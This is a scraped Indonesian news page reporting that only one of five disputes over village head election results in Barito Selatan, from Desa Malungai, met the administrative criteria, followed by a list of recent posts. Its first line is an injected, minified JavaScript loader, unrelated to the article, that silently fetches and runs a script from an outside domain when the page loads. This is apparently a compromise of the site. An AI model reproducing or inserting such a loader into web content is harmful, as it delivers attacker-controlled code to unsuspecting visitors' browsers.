(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

5 Gugatan Hasil Pilkades di Barsel, Hanya 1 yang Penuhi Syarat


BUNTOK, Terkait hasil Pemilihan Kepala Desa (Pilkades) serentak lalu, ada 5 desa yang melakukan laporan gugutan keberatan hasil dari Pilkades.

Kabid Adminitrasi  Pemerintahan Desa dan Kelembagaan Samsul Bahri didampingi Kasi Bina Adminitrasi Pemerintahan Desa Albertus mengatakan, dari 5 gugatan keberatan hanya 1 gugatan keberatan saja yang layak administrasi dalam pelaporannya.

“Jadi dari 5 gugatan yang masuk ini hanya ada 1 gugatan saja yang sudah memenuhi kriteria kita dalam pelaporan gugatan keberatan hasil pilkades ini,” kata Samsul kepada Kanalkalimantan.com, Rabu (23/10).

Dijelaskan olehnya terkait pelaporan gugatan keberatan ini harus memenuhi kriteria pelaporan sesuai tertuang pada pasal 45A yang dicantumkan pada Perda Barsel nomor 9 tahun 2018 dan tentang perubahan perda nomor 7 tahun 2015 terkait tata cara Pilkades.

“Jadi dalam menanggapi laporan gugatan keberatan hasil pilkades ini kita berpegang dengan aturan yang sudah tertuang pada pasal  45A ini,” ucap Samsul.

Adapun untuk 5 desa itu berada di 3 kecamatan yang telah melakukan laporan gugatan keberatan ini ke pihak Panwascam dan masuk ke tahap mediasi di DPSMD Barsel. Gugatan hasil Pilkades di Kecamatan Dusel yakni Desa Kalahien, Mabuan dan Parapak, Kecamatan Dusun Hilir Desa Kalanis sedangkan Kecamatan Gunung Bintang Awai adalah Desa Malungai.

“Jadi dari semua laporan gugatan keberatan hasil pilkades ini hanya desa Malungai yang layak untuk pelaporan gugatan keberatan, karena semua sudah sesuai adminitrasi pada pasal 45A,” beber Samsul.

Terkait hasil pilkades ini untuk para pelapor gugatan keberatan hasil, pihaknya tetap akan berpegang pada aturan yang sudah ada dan bila pihak pelapor tidak bisa menerima hasilnya silahkan melanjutkan ke PTUN.

“Yang jelas kita tetap berpegang pada aturan yang sudah ada dan kita tidak melarang untuk pihak pelapor bila tidak menerima hasil yang ada untuk terus melanjutkan,” pungkas Samsul. (digdo)

Reporter : Digdo
Editor : Bie


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.